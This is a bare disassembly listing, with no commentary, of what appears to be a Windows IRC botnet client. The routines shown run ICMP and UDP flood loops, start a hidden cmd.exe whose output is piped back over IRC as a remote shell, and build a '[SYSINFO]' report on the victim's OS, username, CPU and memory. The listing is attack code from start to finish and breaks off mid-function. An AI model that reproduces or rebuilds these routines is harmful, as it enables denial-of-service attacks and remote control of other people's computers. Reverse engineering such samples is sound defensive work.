cmp [ebp+var_28], ebx
jnz short loc_40AE52
push ebx
lea eax, [ebp+var_344]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_140]
push eax
push [ebp+var_144]
call sub_40D476
add esp, 14h
loc_40AE52: ; CODE XREF: sub_40ADB1+7Fj
lea eax, [ebp+var_344]
push eax
call sub_40BD8D
push [ebp+var_30]
call sub_416D90
pop ecx
pop ecx
push edi
call dword_423054 ; ExitThread
loc_40AE6F: ; CODE XREF: sub_40ADB1+5Fj
cmp eax, ebx
jz short loc_40AE7F
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_4], eax
jmp short loc_40AE82
; ---------------------------------------------------------------------------
loc_40AE7F: ; CODE XREF: sub_40ADB1+C0j
mov [ebp+var_4], esi
loc_40AE82: ; CODE XREF: sub_40ADB1+CCj
push 1Ch
lea eax, [ebp+var_20]
push ebx
push eax
call sub_417030
or [ebp+var_18], 0FFFFFFFFh
mov eax, 0FFDCh
add esp, 0Ch
cmp [ebp+var_3C], eax
jle short loc_40AEA2
mov [ebp+var_3C], eax
loc_40AEA2: ; CODE XREF: sub_40ADB1+ECj
cmp [ebp+var_38], edi
jge short loc_40AEAA
mov [ebp+var_38], edi
loc_40AEAA: ; CODE XREF: sub_40ADB1+F4j
xor esi, esi
cmp [ebp+var_40], ebx
jle short loc_40AED7
loc_40AEB1: ; CODE XREF: sub_40ADB1+124j
push [ebp+var_38]
lea eax, [ebp+var_20]
push 1Ch
push eax
push ebx
lea eax, [ebp+var_10320]
push [ebp+var_3C]
push eax
push [ebp+var_4]
push [ebp+arg_0]
call dword_43EA48 ; IcmpSendEcho
inc esi
cmp esi, [ebp+var_40]
jl short loc_40AEB1
loc_40AED7: ; CODE XREF: sub_40ADB1+FEj
push [ebp+arg_0]
call dword_43EBD8 ; IcmpCloseHandle
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_344]
push offset unk_42CC94
push eax
call sub_416FB6
add esp, 0Ch
cmp [ebp+var_28], ebx
jnz short loc_40AF20
push ebx
lea eax, [ebp+var_344]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_140]
push eax
push [ebp+var_144]
call sub_40D476
add esp, 14h
loc_40AF20: ; CODE XREF: sub_40ADB1+14Dj
lea eax, [ebp+var_344]
push eax
call sub_40BD8D
push [ebp+var_30]
call sub_416D90
pop ecx
pop ecx
push ebx
call dword_423054 ; ExitThread
sub_40ADB1 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AF3D proc near ; DATA XREF: sub_40EC43+2F71o
var_10312 = byte ptr -10312h
var_10310 = byte ptr -10310h
var_334 = byte ptr -334h
var_134 = dword ptr -134h
var_130 = byte ptr -130h
var_B0 = byte ptr -0B0h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 10310h
call sub_417830
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 49h
mov esi, eax
pop ecx
lea edi, [ebp+var_134]
rep movsd
xor esi, esi
inc esi
mov [eax+120h], esi
call dword_423058 ; GetTickCount
push eax
call sub_417008
pop ecx
push 11h
push 2
push 2
call dword_43EBA4 ; socket
mov ebx, eax
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_417030
add esp, 0Ch
lea eax, [ebp+var_B0]
mov [ebp+var_10], 2
push eax
call dword_43EB64 ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jnz short loc_40B022
lea eax, [ebp+var_B0]
push eax
call dword_43EBA8 ; gethostbyname
cmp eax, edi
jnz short loc_40B01B
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_334]
push offset dword_42CD44
push eax
call sub_416FB6
add esp, 0Ch
cmp [ebp+var_18], edi
jnz short loc_40AFFE
push edi
lea eax, [ebp+var_334]
push [ebp+var_1C]
push eax
lea eax, [ebp+var_130]
push eax
push [ebp+var_134]
call sub_40D476
add esp, 14h
loc_40AFFE: ; CODE XREF: sub_40AF3D+9Fj
lea eax, [ebp+var_334]
push eax
call sub_40BD8D
push [ebp+var_20]
call sub_416D90
pop ecx
pop ecx
push esi
call dword_423054 ; ExitThread
loc_40B01B: ; CODE XREF: sub_40AF3D+7Fj
mov eax, [eax+0Ch]
mov eax, [eax]
jmp short loc_40B025
; ---------------------------------------------------------------------------
loc_40B022: ; CODE XREF: sub_40AF3D+6Ej
lea eax, [ebp+arg_0]
loc_40B025: ; CODE XREF: sub_40AF3D+E3j
mov eax, [eax]
cmp [ebp+var_24], edi
mov [ebp+var_C], eax
jnz short loc_40B040
call sub_417012
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
jmp short loc_40B043
; ---------------------------------------------------------------------------
loc_40B040: ; CODE XREF: sub_40AF3D+F0j
push [ebp+var_24]
loc_40B043: ; CODE XREF: sub_40AF3D+101j
call dword_43EB24 ; htons
cmp [ebp+var_24], esi
mov [ebp+var_E], ax
jge short loc_40B055
mov [ebp+var_24], esi
loc_40B055: ; CODE XREF: sub_40AF3D+113j
mov eax, 0FFFFh
cmp [ebp+var_24], eax
jle short loc_40B062
mov [ebp+var_24], eax
loc_40B062: ; CODE XREF: sub_40AF3D+120j
mov eax, [ebp+var_30]
push 0Ah
cdq
pop ecx
idiv ecx
cmp [ebp+var_28], edi
mov [ebp+var_30], eax
jnz short loc_40B076
mov [ebp+var_28], esi
loc_40B076: ; CODE XREF: sub_40AF3D+134j
xor esi, esi
cmp [ebp+var_2C], edi
jle short loc_40B0EF
loc_40B07D: ; CODE XREF: sub_40AF3D+158j
call sub_417012
cdq
mov ecx, 0FFh
idiv ecx
inc esi
cmp esi, [ebp+var_2C]
mov [ebp+esi-10311h], dl
jl short loc_40B07D
jmp short loc_40B0EF
; ---------------------------------------------------------------------------
loc_40B099: ; CODE XREF: sub_40AF3D+1B5j
dec [ebp+var_30]
push 0Bh
pop esi
loc_40B09F: ; CODE XREF: sub_40AF3D+192j
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call sub_417012
push 0Ah
cdq
pop ecx
idiv ecx
mov eax, [ebp+var_2C]
sub eax, edx
push eax
lea eax, [ebp+var_10310]
push eax
push ebx
call dword_43EB88 ; sendto
push [ebp+var_28]
call dword_423064 ; Sleep
dec esi
jnz short loc_40B09F
cmp [ebp+var_24], edi
jnz short loc_40B0EF
call sub_417012
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
call dword_43EB24 ; htons
mov [ebp+var_E], ax
loc_40B0EF: ; CODE XREF: sub_40AF3D+13Ej
; sub_40AF3D+15Aj ...
cmp [ebp+var_30], edi
jg short loc_40B099
dec [ebp+var_30]
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_334]
push offset dword_42CD08
push eax
call sub_416FB6
add esp, 0Ch
cmp [ebp+var_18], edi
jnz short loc_40B137
push edi
lea eax, [ebp+var_334]
push [ebp+var_1C]
push eax
lea eax, [ebp+var_130]
push eax
push [ebp+var_134]
call sub_40D476
add esp, 14h
loc_40B137: ; CODE XREF: sub_40AF3D+1D8j
lea eax, [ebp+var_334]
push eax
call sub_40BD8D
push [ebp+var_20]
call sub_416D90
pop ecx
pop ecx
push edi
call dword_423054 ; ExitThread
sub_40AF3D endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40B154 proc near ; CODE XREF: sub_40B184+2Ap
; sub_40B1BC+7Ep ...
mov eax, dword_43EE64
push esi
mov esi, dword_423078
cmp eax, 0FFFFFFFFh
jz short loc_40B168
push eax
call esi ; CloseHandle
loc_40B168: ; CODE XREF: sub_40B154+Fj
mov eax, dword_43EE6C
cmp eax, 0FFFFFFFFh
jz short loc_40B175
push eax
call esi ; CloseHandle
loc_40B175: ; CODE XREF: sub_40B154+1Cj
mov eax, dword_43EE60
cmp eax, 0FFFFFFFFh
jz short loc_40B182
push eax
call esi ; CloseHandle
loc_40B182: ; CODE XREF: sub_40B154+29j
pop esi
retn
sub_40B154 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B184 proc near ; CODE XREF: sub_40C16F+14Ap
; sub_40EC43+484Fp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push [ebp+arg_0]
call sub_4177B0
pop ecx
mov [ebp+var_4], eax
lea ecx, [ebp+var_4]
push 0
push ecx
push eax
push [ebp+arg_0]
push dword_43EE68
call dword_42307C ; WriteFile
test eax, eax
jnz short loc_40B1B7
call sub_40B154
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_40B1B7: ; CODE XREF: sub_40B184+28j
xor eax, eax
inc eax
leave
retn
sub_40B184 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B1BC proc near ; CODE XREF: sub_40B243+D3p
; sub_40B243+F2p ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push offset byte_43BCE8
push [ebp+arg_4]
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz short loc_40B1FF
push 7D0h
call dword_423064 ; Sleep
push [ebp+arg_8]
lea eax, [ebp+var_200]
push [ebp+arg_4]
push offset aPrivmsgSS ; "PRIVMSG %s :%s\r"
push eax
call sub_416FB6
add esp, 10h
jmp short loc_40B216
; ---------------------------------------------------------------------------
loc_40B1FF: ; CODE XREF: sub_40B1BC+1Aj
push [ebp+arg_8]
lea eax, [ebp+var_200]
push offset aS_3 ; "%s"
push eax
call sub_416FB6
add esp, 0Ch
loc_40B216: ; CODE XREF: sub_40B1BC+41j
lea eax, [ebp+var_200]
push 0
push eax
call sub_4177B0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_43EB74 ; send
test eax, eax
jg short loc_40B23F
call sub_40B154
loc_40B23F: ; CODE XREF: sub_40B1BC+7Cj
xor eax, eax
leave
retn
sub_40B1BC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B243 proc near ; DATA XREF: sub_40B398+170o
var_20C = byte ptr -20Ch
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 20Ch
push ebx
push esi
push edi
mov esi, 200h
xor edi, edi
mov ebx, offset dword_43EE70
loc_40B25B: ; CODE XREF: sub_40B243+79j
; sub_40B243+DBj
push esi
lea eax, [ebp+var_20C]
push edi
push eax
call sub_417030
add esp, 0Ch
lea eax, [ebp+var_4]
push edi
push edi
push eax
lea eax, [ebp+var_20C]
push esi
push eax
push dword_43EE64
call dword_423134 ; PeekNamedPipe
test eax, eax
jz loc_40B329
cmp [ebp+var_4], edi
jnz short loc_40B2BE
lea eax, [ebp+var_8]
push eax
push dword_43EE60
call dword_423130 ; GetExitCodeProcess
test eax, eax
jz short loc_40B2B4
cmp [ebp+var_8], 103h
jnz loc_40B34D
loc_40B2B4: ; CODE XREF: sub_40B243+62j
push 0Ah
call dword_423064 ; Sleep
jmp short loc_40B25B
; ---------------------------------------------------------------------------
loc_40B2BE: ; CODE XREF: sub_40B243+4Ej
xor eax, eax
cmp [ebp+var_4], edi
jbe short loc_40B2D5
loc_40B2C5: ; CODE XREF: sub_40B243+90j
cmp [ebp+eax+var_20C], 0Ah
jz short loc_40B323
inc eax
cmp eax, [ebp+var_4]
jb short loc_40B2C5
loc_40B2D5: ; CODE XREF: sub_40B243+80j
mov [ebp+var_4], esi
loc_40B2D8: ; CODE XREF: sub_40B243+E4j
push esi
lea eax, [ebp+var_20C]
push edi
push eax
call sub_417030
add esp, 0Ch
lea eax, [ebp+var_C]
push edi
push eax
push [ebp+var_4]
lea eax, [ebp+var_20C]
push eax
push dword_43EE64
call dword_423074 ; ReadFile
test eax, eax
jz short loc_40B375
lea eax, [ebp+var_20C]
push eax
push ebx
push dword_43EEA4
call sub_40B1BC
add esp, 0Ch
jmp loc_40B25B
; ---------------------------------------------------------------------------
loc_40B323: ; CODE XREF: sub_40B243+8Aj
inc eax
mov [ebp+var_4], eax
jmp short loc_40B2D8
; ---------------------------------------------------------------------------
loc_40B329: ; CODE XREF: sub_40B243+45j
push offset dword_42CE04
push ebx
push dword_43EEA4
call sub_40B1BC
push [ebp+arg_0]
call sub_416D90
add esp, 10h
push 1
call dword_423054 ; ExitThread
loc_40B34D: ; CODE XREF: sub_40B243+6Bj
call sub_40B154
push offset dword_42CDCC
push ebx
push dword_43EEA4
call sub_40B1BC
push [ebp+arg_0]
call sub_416D90
add esp, 10h
push edi
call dword_423054 ; ExitThread
loc_40B375: ; CODE XREF: sub_40B243+C3j
push offset dword_42CD8C
push ebx
push dword_43EEA4
call sub_40B1BC
push [ebp+arg_0]
call sub_416D90
add esp, 10h
push edi
call dword_423054 ; ExitThread
sub_40B243 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B398 proc near ; CODE XREF: sub_40C16F+99p
; sub_40EC43+5724p
var_378 = byte ptr -378h
var_178 = byte ptr -178h
var_74 = dword ptr -74h
var_48 = dword ptr -48h
var_44 = word ptr -44h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = byte ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 378h
push ebx
push esi
push edi
call sub_40B154
xor esi, esi
lea eax, [ebp+var_178]
push esi
push eax
push 104h
push esi
push offset aCmd_exe ; "cmd.exe"
push esi
call dword_43EBDC ; SearchPathA
test eax, eax
jz loc_40B492
lea eax, [ebp+var_1C]
mov edi, dword_423140
push esi
push eax
lea eax, [ebp+var_C]
xor ebx, ebx
push eax
lea eax, [ebp+var_10]
inc ebx
push eax
mov [ebp+var_1C], 0Ch
mov [ebp+var_14], ebx
mov [ebp+var_18], esi
call edi ; CreatePipe
test eax, eax
jz loc_40B492
lea eax, [ebp+var_1C]
push esi
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
call edi ; CreatePipe
test eax, eax
jz loc_40B492
mov edi, dword_42313C
push 3
push esi
push esi
push offset dword_43EE68
call edi ; GetCurrentProcess
push eax
push [ebp+var_8]
call edi ; GetCurrentProcess
push eax
call dword_423138 ; DuplicateHandle
test eax, eax
jz short loc_40B492
push 10h
lea eax, [ebp+var_2C]
push esi
push eax
call sub_417030
push 44h
lea eax, [ebp+var_74]
pop edi
push edi
push esi
push eax
call sub_417030
mov eax, [ebp+var_4]
add esp, 18h
mov [ebp+var_3C], eax
mov eax, [ebp+var_C]
mov [ebp+var_38], eax
mov [ebp+var_34], eax
lea eax, [ebp+var_2C]
mov [ebp+var_74], edi
push eax
lea eax, [ebp+var_74]
push eax
push esi
push esi
push esi
push ebx
push esi
mov ebx, offset byte_43BCE8
push esi
lea eax, [ebp+var_178]
push ebx
push eax
mov [ebp+var_48], 101h
mov [ebp+var_44], si
call dword_423120 ; CreateProcessA
test eax, eax
jnz short loc_40B49A
loc_40B492: ; CODE XREF: sub_40B398+2Fj
; sub_40B398+5Cj ...
or eax, 0FFFFFFFFh
jmp loc_40B548
; ---------------------------------------------------------------------------
loc_40B49A: ; CODE XREF: sub_40B398+F8j
push [ebp+var_4]
mov edi, dword_423078
call edi ; CloseHandle
mov eax, [ebp+var_10]
push [ebp+var_28]
mov dword_43EE64, eax
mov eax, [ebp+var_8]
mov dword_43EE6C, eax
mov eax, [ebp+var_2C]
mov dword_43EE60, eax
call edi ; CloseHandle
mov eax, [ebp+arg_0]
cmp [ebp+arg_4], esi
mov dword_43EEA4, eax
jz short loc_40B4D4
push [ebp+arg_4]
jmp short loc_40B4D5
; ---------------------------------------------------------------------------
loc_40B4D4: ; CODE XREF: sub_40B398+135j
push ebx
loc_40B4D5: ; CODE XREF: sub_40B398+13Aj
push offset dword_43EE70
call sub_416FB6
pop ecx
pop ecx
push esi
push 7
push offset dword_42CE8C
call sub_416A7A
mov edi, eax
mov ecx, [ebp+var_24]
imul edi, 234h
add esp, 0Ch
mov dword_444570[edi], ecx
lea ecx, [ebp+var_30]
push ecx
push esi
push eax
push offset sub_40B243
push esi
push esi
call dword_4230A0 ; CreateThread
cmp eax, esi
mov dword_44457C[edi], eax
jnz short loc_40B546
call dword_42308C ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_378]
push offset dword_42CE48
push eax
call sub_416FB6
lea eax, [ebp+var_378]
push eax
call sub_40BD8D
add esp, 10h
loc_40B546: ; CODE XREF: sub_40B398+185j
xor eax, eax
loc_40B548: ; CODE XREF: sub_40B398+FDj
pop edi
pop esi
pop ebx
leave
retn
sub_40B398 endp
; =============== S U B R O U T I N E =======================================
sub_40B54D proc near ; CODE XREF: sub_406F62+74p
; sub_40B6ED+217p ...
arg_0 = dword ptr 4
push esi
push edi
call dword_423058 ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
xor edx, edx
mov ecx, 15180h
mov esi, 0E10h
push 3Ch
pop edi
sub eax, [esp+8+arg_0]
div ecx
mov ecx, eax
mov eax, edx
xor edx, edx
div esi
mov esi, eax
mov eax, edx
xor edx, edx
div edi
push eax
push esi
push ecx
push offset aDdDhDm ; "%dd %dh %dm"
mov esi, offset dword_43EEA8
push 32h
push esi
call sub_41752A
add esp, 18h
mov eax, esi
pop edi
pop esi
retn
sub_40B54D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B5A0 proc near ; CODE XREF: sub_408E7C+24p
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_84 = dword ptr -84h
push ebp
mov ebp, esp
sub esp, 94h
lea eax, [ebp+var_94]
push esi
push eax
xor esi, esi
mov [ebp+var_94], 94h
call dword_423144 ; GetVersionExA
test eax, eax
jz short loc_40B632
cmp [ebp+var_90], 4
jnz short loc_40B608
cmp [ebp+var_8C], esi
jnz short loc_40B5F0
cmp [ebp+var_84], 1
jnz short loc_40B5E2
inc esi
loc_40B5E2: ; CODE XREF: sub_40B5A0+3Fj
cmp [ebp+var_84], 2
jnz short loc_40B632
xor esi, esi
inc esi
jmp short loc_40B632
; ---------------------------------------------------------------------------
loc_40B5F0: ; CODE XREF: sub_40B5A0+36j
cmp [ebp+var_8C], 0Ah
jnz short loc_40B5FD
loc_40B5F9: ; CODE XREF: sub_40B5A0+77j
push 2
jmp short loc_40B631
; ---------------------------------------------------------------------------
loc_40B5FD: ; CODE XREF: sub_40B5A0+57j
cmp [ebp+var_8C], 5Ah
jnz short loc_40B632
jmp short loc_40B622
; ---------------------------------------------------------------------------
loc_40B608: ; CODE XREF: sub_40B5A0+2Ej
cmp [ebp+var_90], 5
jnz short loc_40B632
cmp [ebp+var_8C], esi
jz short loc_40B5F9
cmp [ebp+var_8C], 1
jnz short loc_40B626
loc_40B622: ; CODE XREF: sub_40B5A0+66j
push 3
jmp short loc_40B631
; ---------------------------------------------------------------------------
loc_40B626: ; CODE XREF: sub_40B5A0+80j
cmp [ebp+var_8C], 2
jnz short loc_40B632
push 7
loc_40B631: ; CODE XREF: sub_40B5A0+5Bj
; sub_40B5A0+84j
pop esi
loc_40B632: ; CODE XREF: sub_40B5A0+25j
; sub_40B5A0+49j ...
mov eax, esi
pop esi
leave
retn
sub_40B5A0 endp
; =============== S U B R O U T I N E =======================================
sub_40B637 proc near ; CODE XREF: sub_40B6ED+290p
push ebx
push esi
push edi
mov edi, 0F4240h
loc_40B63F: ; CODE XREF: sub_40B637+2Fj
; sub_40B637+35j
rdtsc
push 3E8h
mov ebx, edx
mov esi, eax
call dword_423064 ; Sleep
rdtsc
sub eax, esi
push 0
sbb edx, ebx
push edi
push edx
push eax
call sub_418F50
mov esi, edx
mov ebx, eax
test esi, esi
ja short loc_40B63F
jb short loc_40B66E
cmp ebx, edi
ja short loc_40B63F
loc_40B66E: ; CODE XREF: sub_40B637+31j
push 0
push 64h
push esi
push ebx
call sub_418ED0
mov ecx, edx
push 64h
xor edx, edx
mov edi, eax
test ecx, ecx
pop eax
ja short loc_40B6E1
jb short loc_40B68D
cmp edi, 50h
jnb short loc_40B692
loc_40B68D: ; CODE XREF: sub_40B637+4Fj
push 4Bh
xor edx, edx
pop eax
loc_40B692: ; CODE XREF: sub_40B637+54j
test ecx, ecx
ja short loc_40B6E1
jb short loc_40B69D
cmp edi, 47h
jnb short loc_40B6A2
loc_40B69D: ; CODE XREF: sub_40B637+5Fj
push 42h
xor edx, edx
pop eax
loc_40B6A2: ; CODE XREF: sub_40B637+64j
test ecx, ecx
ja short loc_40B6E1
jb short loc_40B6AD
cmp edi, 37h
jnb short loc_40B6B2
loc_40B6AD: ; CODE XREF: sub_40B637+6Fj
push 32h
xor edx, edx
pop eax
loc_40B6B2: ; CODE XREF: sub_40B637+74j
test ecx, ecx
ja short loc_40B6E1
jb short loc_40B6BD
cmp edi, 26h
jnb short loc_40B6C2
loc_40B6BD: ; CODE XREF: sub_40B637+7Fj
push 21h
xor edx, edx
pop eax
loc_40B6C2: ; CODE XREF: sub_40B637+84j
test ecx, ecx
ja short loc_40B6E1
jb short loc_40B6CD
cmp edi, 1Eh
jnb short loc_40B6D2
loc_40B6CD: ; CODE XREF: sub_40B637+8Fj
push 19h
xor edx, edx
pop eax
loc_40B6D2: ; CODE XREF: sub_40B637+94j
test ecx, ecx
ja short loc_40B6E1
jb short loc_40B6DD
cmp edi, 0Ah
jnb short loc_40B6E1
loc_40B6DD: ; CODE XREF: sub_40B637+9Fj
xor eax, eax
xor edx, edx
loc_40B6E1: ; CODE XREF: sub_40B637+4Dj
; sub_40B637+5Dj ...
sub eax, edi
pop edi
sbb edx, ecx
add eax, ebx
adc edx, esi
pop esi
pop ebx
retn
sub_40B637 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B6ED proc near ; CODE XREF: sub_40EC43+59A0p
var_968 = byte ptr -968h
var_7E8 = byte ptr -7E8h
var_668 = byte ptr -668h
var_5E8 = byte ptr -5E8h
var_568 = byte ptr -568h
var_4E8 = byte ptr -4E8h
var_3E4 = byte ptr -3E4h
var_2E8 = byte ptr -2E8h
var_25C = word ptr -25Ch
var_25A = byte ptr -25Ah
var_15C = byte ptr -15Ch
var_114 = byte ptr -114h
var_CC = dword ptr -0CCh
var_C8 = dword ptr -0C8h
var_C4 = dword ptr -0C4h
var_C0 = dword ptr -0C0h
var_BC = dword ptr -0BCh
var_B8 = byte ptr -0B8h
var_38 = byte ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 968h
push ebx
push esi
lea eax, [ebp+var_CC]
push edi
push eax
mov [ebp+var_4], offset byte_43BCE8
mov [ebp+var_CC], 94h
call dword_423144 ; GetVersionExA
xor ebx, ebx
cmp [ebp+var_C8], 4
jnz short loc_40B774
cmp [ebp+var_C4], ebx
jnz short loc_40B750
cmp [ebp+var_BC], 1
jnz short loc_40B73A
mov [ebp+var_4], offset a95 ; "95"
loc_40B73A: ; CODE XREF: sub_40B6ED+44j
cmp [ebp+var_BC], 2
jnz loc_40B7EF
mov [ebp+var_4], offset aNt ; "NT"
jmp short loc_40B7C0
; ---------------------------------------------------------------------------
loc_40B750: ; CODE XREF: sub_40B6ED+3Bj
cmp [ebp+var_C4], 0Ah
jnz short loc_40B762
mov [ebp+var_4], offset a98 ; "98"
jmp short loc_40B7B7
; ---------------------------------------------------------------------------
loc_40B762: ; CODE XREF: sub_40B6ED+6Aj
cmp [ebp+var_C4], 5Ah
jnz short loc_40B7B0
mov [ebp+var_4], offset aMe ; "ME"
jmp short loc_40B7B7
; ---------------------------------------------------------------------------
loc_40B774: ; CODE XREF: sub_40B6ED+33j
cmp [ebp+var_C8], 5
jnz short loc_40B7B0
cmp [ebp+var_C4], ebx
jnz short loc_40B78E
mov [ebp+var_4], offset a2k ; "2K"
jmp short loc_40B7B7
; ---------------------------------------------------------------------------
loc_40B78E: ; CODE XREF: sub_40B6ED+96j
cmp [ebp+var_C4], 1
jnz short loc_40B7A0
mov [ebp+var_4], offset aXp ; "XP"
jmp short loc_40B7B7
; ---------------------------------------------------------------------------
loc_40B7A0: ; CODE XREF: sub_40B6ED+A8j
cmp [ebp+var_C4], 2
mov [ebp+var_4], offset a2003 ; "2003"
jz short loc_40B7B7
loc_40B7B0: ; CODE XREF: sub_40B6ED+7Cj
; sub_40B6ED+8Ej
mov [ebp+var_4], offset dword_42CFD8
loc_40B7B7: ; CODE XREF: sub_40B6ED+73j
; sub_40B6ED+85j ...
cmp [ebp+var_BC], 2
jnz short loc_40B7EF
loc_40B7C0: ; CODE XREF: sub_40B6ED+61j
cmp [ebp+var_B8], bl
jz short loc_40B7EF
lea eax, [ebp+var_B8]
push eax
lea eax, [ebp+var_2E8]
push [ebp+var_4]
push offset dword_42CFD0
push eax
call sub_416FB6
lea eax, [ebp+var_2E8]
add esp, 10h
mov [ebp+var_4], eax
loc_40B7EF: ; CODE XREF: sub_40B6ED+54j
; sub_40B6ED+D1j ...
mov ax, word_42CFCC
push 3Fh
mov [ebp+var_25C], ax
pop ecx
xor eax, eax
lea edi, [ebp+var_25A]
rep stosd
stosw
mov eax, dword_43EA10
mov [ebp+var_8], 100h
cmp eax, ebx
jz short loc_40B828
lea ecx, [ebp+var_8]
push ecx
lea ecx, [ebp+var_25C]
push ecx
call eax ; GetUserNameA
loc_40B828: ; CODE XREF: sub_40B6ED+12Cj
push [ebp+arg_4]
call sub_40AD08
pop ecx
push eax
call dword_43EB64 ; inet_addr
mov [ebp+var_C], eax
push 2
lea eax, [ebp+var_C]
push 4
push eax
call dword_43EADC ; gethostbyaddr
cmp eax, ebx
jz short loc_40B851
push dword ptr [eax]
jmp short loc_40B856
; ---------------------------------------------------------------------------
loc_40B851: ; CODE XREF: sub_40B6ED+15Ej
push offset aCouldnTResolve ; "couldn't resolve host"
loc_40B856: ; CODE XREF: sub_40B6ED+162j
lea eax, [ebp+var_3E4]
push eax
call sub_416FB6
pop ecx
lea eax, [ebp+var_4E8]
pop ecx
push 104h
push eax
call dword_423068 ; GetSystemDirectoryA
lea eax, [ebp+var_114]
push 46h
push eax
push offset aDdMmmYyyy ; "dd:MMM:yyyy"
push ebx
mov esi, 409h
push ebx
push esi
call dword_42309C ; GetDateFormatA
lea eax, [ebp+var_15C]
push 46h
push eax
push offset aHhMmSs ; "HH:mm:ss"
push ebx
push ebx
push esi
call dword_423098 ; GetTimeFormatA
push 20h
lea eax, [ebp+var_38]
push ebx
push eax
call sub_417030
add esp, 0Ch
lea eax, [ebp+var_38]
push eax
call dword_423148 ; GlobalMemoryStatus
push ebx
push ebx
lea eax, [ebp+var_18]
push ebx
push eax
lea eax, [ebp+var_4E8]
push eax
call sub_418FB8
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_968]
push eax
call sub_40CF32
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_7E8]
rep movsd
push 60h
lea esi, [ebp+var_7E8]
pop ecx
lea edi, [ebp+var_668]
rep movsd
push ebx
call sub_40B54D
add esp, 20h
push eax
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_114]
push eax
lea eax, [ebp+var_25C]
push eax
push [ebp+arg_4]
call sub_40AD08
pop ecx
push eax
lea eax, [ebp+var_3E4]
push eax
lea eax, [ebp+var_4E8]
push eax
lea eax, [ebp+var_5E8]
push [ebp+var_C0]
push [ebp+var_C4]
push [ebp+var_C8]
push [ebp+var_4]
push eax
lea eax, [ebp+var_568]
push eax
mov eax, [ebp+var_2C]
shr eax, 0Ah
push ebx
push eax
call sub_40CE23
pop ecx
pop ecx
push eax
mov eax, [ebp+var_30]
shr eax, 0Ah
push ebx
push eax
call sub_40CE23
pop ecx
pop ecx
push eax
call sub_40B637
push edx
push eax
push offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"...
push 200h
push [ebp+arg_0]
call sub_41752A
mov eax, [ebp+arg_0]
add esp, 50h
pop edi
pop esi
pop ebx
leave
retn
sub_40B6ED endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B9A1 proc near ; CODE XREF: sub_40EC43+450Ep
; sub_40EC43+59CEp
var_8C = byte ptr -8Ch
var_C = byte ptr -0Ch
var_8 = byte ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8Ch
push esi
mov esi, 80h
push esi
lea eax, [ebp+var_8C]
push 0
push eax
call sub_417030
add esp, 0Ch
cmp dword_43EC08, 0
jnz short loc_40BA15
push 0
lea eax, [ebp+var_8C]
push esi
push eax
lea eax, [ebp+var_C]
push eax
call dword_43E9F4 ; InternetGetConnectedStateEx
test eax, eax
jnz short loc_40B9F6
lea eax, [ebp+var_8C]
push offset dword_42D04C
push eax
call sub_416FB6
pop ecx
pop ecx
loc_40B9F6: ; CODE XREF: sub_40B9A1+40j
test [ebp+var_C], 1
